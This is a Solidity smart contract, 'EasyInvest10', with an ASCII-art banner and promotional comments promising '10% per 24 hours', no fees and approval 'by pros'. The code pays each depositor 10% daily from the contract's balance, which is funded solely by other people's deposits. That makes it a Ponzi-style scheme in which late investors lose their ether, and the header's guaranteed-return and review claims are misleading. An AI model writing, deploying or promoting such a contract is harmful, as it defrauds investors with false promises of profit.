Contract Source Code:

pragma solidity ^0.4.24;

/**
 * 
 *
 * ___     ___     ___   __   __            ___    _  _   __   __   ___     ___    _____              _       __   
  | __|   /   \   / __|  \ \ / /    o O O  |_ _|  | \| |  \ \ / /  | __|   / __|  |_   _|    o O O   / |     /  \  
  | _|    | - |   \__ \   \ V /    o        | |   | .` |   \ V /   | _|    \__ \    | |     o        | |    | () | 
  |___|   |_|_|   |___/   _|_|_   TS__[O]  |___|  |_|\_|   _\_/_   |___|   |___/   _|_|_   TS__[O]  _|_|_   _\__/  
_|"""""|_|"""""|_|"""""|_| """ | {======|_|"""""|_|"""""|_| """"|_|"""""|_|"""""|_|"""""| {======|_|"""""|_|"""""| 
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 * https://easyinvest10.app
 * 
 * Easy Investment Contract
 *  - GAIN 10% PER 24 HOURS! (every 5900 blocks)
 *  - NO COMMISSION on your investment (every ether stays on contract's balance)
 *  - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 70000
 * RECOMMENDED GAS PRICE: https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */
contract EasyInvest10 {
    // records amounts invested
    mapping (address => uint256) public invested;
    // records blocks at which investments were made
    mapping (address => uint256) public atBlock;

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 10% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] /10 * (block.number - atBlock[msg.sender]) / 5900;

            // send calculated amount of ether directly to sender (aka YOU)
            msg.sender.transfer(amount);
        }

        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }
}